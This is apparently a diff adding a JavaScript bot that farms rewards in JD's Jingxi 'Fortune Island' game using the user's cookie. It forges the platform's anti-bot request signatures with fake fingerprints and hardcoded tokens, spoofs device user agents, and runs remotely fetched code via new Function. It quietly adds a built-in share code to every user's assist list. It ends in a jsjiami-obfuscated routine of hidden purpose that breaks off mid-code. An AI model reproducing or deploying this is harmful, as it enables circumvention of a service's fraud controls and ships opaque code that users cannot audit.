$.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1); + $.log(`\n获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + case 1: //成就任务 + $.get(taskUrl("consume/AchieveInfo"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveInfo API请求失败,请检查网路重试`) + } else { + const {iRet, sErrMsg, taskinfo = []} = JSON.parse(data); + $.allTask = taskinfo.filter((x) => x.dwAwardStatus === 1); + $.log(`\n获取【🎖成就任务】列表 ${sErrMsg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } + }); +} + +//浏览任务 + 做任务 + 领取奖励 +function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + const times = Math.max(...[...$.allTask].map((x) => x.configTargetTimes)); + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + $.log(`\n开始第${i + 1}个【📆日常任务】:${taskinfo.taskName}`); + const status = [true, true]; + for (let i = 0; i < times; i++) { + await $.wait(3000); + if (status[0]) { + //做任务 + status[0] = await doTask(taskinfo); + } + await $.wait(3000); + if (status[1]) { + //领取奖励 + status[1] = await awardTask(0, taskinfo); + } + if (!status[0] && !status[1]) { + break; + } + } + $.log(`\n结束第${i + 1}个【📆日常任务】:${taskinfo.taskName}\n`); + } + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + $.log(`\n开始第${i + 1}个【🎖成就任务】:${taskinfo.strTaskDescr}`); + if(taskinfo.dwAwardStatus === "0"){ + $.log(`\n${taskinfo.strTaskDescr}【领成就奖励】:该成就任务未达到门槛}`); + } else { + await $.wait(3000); + //领奖励 + await awardTask(1, taskinfo); + } + $.log(`\n结束第${i + 1}个【🎖成就任务】:${taskinfo.strTaskDescr}\n`); + } + break; + default: + break; + } + resolve(); + }); +} + +//做任务 +function doTask(taskinfo) { + return new Promise(async (resolve) => { + const { taskId, completedTimes, configTargetTimes, taskName } = taskinfo; + if (parseInt(completedTimes) >= parseInt(configTargetTimes)) { + resolve(false); + $.log(`\n${taskName}【做日常任务】: mission success`); + return; + } + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`), (err, resp, data) => { + try { + //$.log(`taskId:${taskId},data:${data}`); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + const { msg, ret } = JSON.parse(data); + $.log(`\n${taskName}【做日常任务】:${msg.indexOf("活动太火爆了") !== -1 ? "任务进行中或者未到任务时间" : msg }\n${$.showLog ? data : ""}`); + resolve(ret === 0); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//领取奖励 +function awardTask(taskType, taskinfo) { + return new Promise((resolve) => { + switch (taskType) { + case 0://日常任务 + const {taskId, taskName} = taskinfo; + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? ` 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}` : ''; + } + $.log(`\n${taskName}【领日常奖励】:${str}\n${$.showLog ? data : ''}`); + resolve(ret === 0); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 1://成就奖励 + const {strTaskIndex, strTaskDescr} = taskinfo; + $.get(taskUrl(`consume/AchieveAward`, `strTaskIndex=${strTaskIndex}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) + } else { + const {iRet, sErrMsg, dwExpericnce} = JSON.parse(data); + $.log(`\n${strTaskDescr}【领成就奖励】: success 获得财富值:¥ ${dwExpericnce}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + default: + break + } + }); +} + +//娱乐中心 +function funCenterState() { + return new Promise(resolve => { + $.get(taskUrl(`consume/FunCenterState`, `strType=1`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} FunCenterState API请求失败,请检查网路重试`) + } else { + const { SlotMachine: { ddwConfVersion, dwFreeCount, strCouponPool, strGoodsPool } = {}, iRet, sErrMsg } = JSON.parse(data); + if(dwFreeCount == 1) { + await $.wait(3000); + await soltMachine(strCouponPool,strGoodsPool,ddwConfVersion); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//抽奖机 +function soltMachine(strCouponPool,strGoodsPool,ddwConfVersion) { + return new Promise(resolve => { + $.get(taskUrl(`consume/SlotMachine`,`strCouponPool=${strCouponPool}&strGoodsPool=${strGoodsPool}&ddwConfVersion=${ddwConfVersion}`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} SlotMachine API请求失败,请检查网路重试`) + } else { + const { iRet, sErrMsg, strAwardPoolName } = JSON.parse(data); + $.log(`\n【抽奖结果】🎰 ${strAwardPoolName != "" ? "未中奖" : strAwardPoolName} \n${ $.showLog ? data : '' }`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function createAssistUser(value) { + return new Promise(resolve => { + $.get(taskUrl('user/JoinScene', `strShareId=${escape(value)}&dwSceneId=1001`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createAssistUser JoinScene API请求失败,请检查网路重试`) + } else { + console.log(`普通助力(招工)结果:${data}`) + const {iRet} = JSON.parse(data); + if (iRet === 2005 || iRet === 9999) $.canHelp = false + } + } catch (e) { + } finally { + resolve(); + } + }); + }); +} + +function createSuperAssistUser(value) { + return new Promise(resolve => { + $.get(taskUrl('user/JoinScene', `strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strShareId=${escape(value)}&dwSceneId=1001&dwType=2`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createSuperAssistUser JoinScene API请求失败,请检查网路重试`) + } else { + console.log(`超级助力(超级工人)结果:${data}`); + const { sErrMsg, iRet } = JSON.parse(data); + if (iRet === 2005 || iRet === 9999) $.canHelp = false + // console.log(sErrMsg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function joinGroup(value) { + return new Promise( async (resolve) => { + $.get(taskUrl(`user/JoinGroup`, + `strGroupId=${value}&dwIsNewUser=0&pgtimestamp=${token['timestamp']}&phoneID=${token['phoneid']}&pgUUNum=${token['farm_jstoken']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} joinGroup API请求失败,请检查网路重试`) + } else { + // console.log(`joinGroup`, data) + const { sErrMsg,iRet } = data = JSON.parse(data); + if (iRet === 2005 || iRet === 9999) $.canHelp = false + $.log(`iRet:${iRet} ${sErrMsg}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }); + }); +} + +function submitGroupId() { + return new Promise(resolve => { + $.get(taskUrl(`user/GatherForture`), async (err, resp, g_data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GatherForture API请求失败,请检查网路重试`) + } else { + const { GroupInfo:{ strGroupId }, strPin } = JSON.parse(g_data); + if(!strGroupId) { + const status = await openGroup(); + if(status === 0) { + await submitGroupId(); + } else { + resolve(); + } + } else { + $.log('\n\n你的【🏝寻宝大作战】互助码: ' + strGroupId + '(每天都变化,旧的不可用)\n\n'); + $.shareCodes.push(strGroupId) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//开启寻宝大作战 +function openGroup() { + return new Promise( async (resolve) => { + $.get(taskUrl(`user/OpenGroup`, `dwIsNewUser=${$.info.dwIsNewUser}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} OpenGroup API请求失败,请检查网路重试`) + } else { + const { sErrMsg } = JSON.parse(data); + $.log(`\n【🏝寻宝大作战】${sErrMsg}\n${$.showLog ? data : ''}`); + resolve(0); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +//寻宝大作战开宝箱 +function openPeriodBox() { + return new Promise( async (resolve) => { + $.get(taskUrl(`user/GatherForture`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GatherForture API请求失败,请检查网路重试`) + } else { + const { PeriodBox = [{}] } = JSON.parse(data); + for (var i = 0; i < PeriodBox.length ; i++) { + const { dwStatus, dwSeq, strBrandName } = PeriodBox[i]; + //1:未达条件 2:可开启 3:已开启 + if (dwStatus == 2) { + await $.wait(1000); + await $.get(taskUrl(`user/OpenPeriodBox`, `dwSeq=${dwSeq}`), async (err, resp, data) => { + try { + const { dwMoney, iRet, sErrMsg } = JSON.parse(data) + $.log(`\n【🏝寻宝大作战】【${strBrandName}】开宝箱:${sErrMsg == 'success' ? ` 获得财富值 ¥ ${dwMoney}` : sErrMsg }\n${$.showLog ? data : ''}`); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + } else if (dwStatus == 3) { + $.log(`\n【🏝寻宝大作战】【${strBrandName}】开宝箱:宝箱已开启过!`); + } else { + $.log(`\n【🏝寻宝大作战】【${strBrandName}】开宝箱:未达到宝箱开启条件,快去邀请好友助力吧!`); + resolve(); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +//解锁新的场景 +function activeScene(id) { +//ActiveScene + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}jxcfd/user/ActiveScene?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=&dwSceneId=${Number(id)}&_stk=_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strZone&_ste=1&h5st=20210304125239873;1540797227618115;10009;tk01we7831daaa8nRzRiUm4rZjRynBiuCHXtzWJmGCtVH2P+YnfnjoIsTWS87p85/fH4kcisjwWpqa10pRs3zMclNzix;5a9afbeb82bbb4e5e62cfe4b72965b5a2bf12cc3c56817b53e93a1cead562dc4&_=${Date.now()}&sceneval=2&g_login_type=1`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} activeScene API请求失败,请检查网路重试`) + } else { + console.log(`开通场景结果:${data}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }) + +} + +function taskUrl(function_path, body) { + let url = `${JD_API_HOST}jxcfd/${function_path}?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +} + +function taskListUrl(function_path, body) { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CconfigExtra%2CdwEnv%2Cptag%2Csource%2CstrZone%2CtaskId&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + $.log(`\n${JSON.stringify(notifyTimes)}`); + $.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://share.turinglabs.net/api/v3/jxcfd/query/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + // const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = [...$.strMyShareIds, "F45CB4F07997DFE748E5656521A9034446A1568F6950206B0D44A5664662275D"]; + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode() && process.env.JDCFD_SHARECODES) { + if (process.env.JDCFD_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDCFD_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDCFD_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxCFD')) $.shareCodesArr = $.getdata('jd_jxCFD').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京喜财富岛邀请码:${$.getdata('jd_jxCFD')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let 